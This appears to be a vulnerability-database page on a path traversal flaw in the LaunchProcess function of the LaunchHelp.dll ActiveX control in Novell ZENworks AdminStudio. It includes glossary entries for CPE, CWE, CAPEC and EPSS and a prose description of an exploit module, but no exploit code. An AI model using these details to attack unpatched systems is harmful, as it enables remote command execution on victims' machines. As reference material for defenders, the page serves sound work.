CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Directory traversal vulnerability in the LaunchProcess function in the LaunchHelp.HelpLauncher.1 ActiveX control in LaunchHelp.dll in AdminStudio in Novell ZENworks Configuration Management (ZCM) 10.2, 10.3, and 11 SP1 allows remote attackers to execute arbitrary commands via a pathname in the first argument.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The
LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run
arbitrary commands on the victim machine. This module has been successfully tested with the
ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration
Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
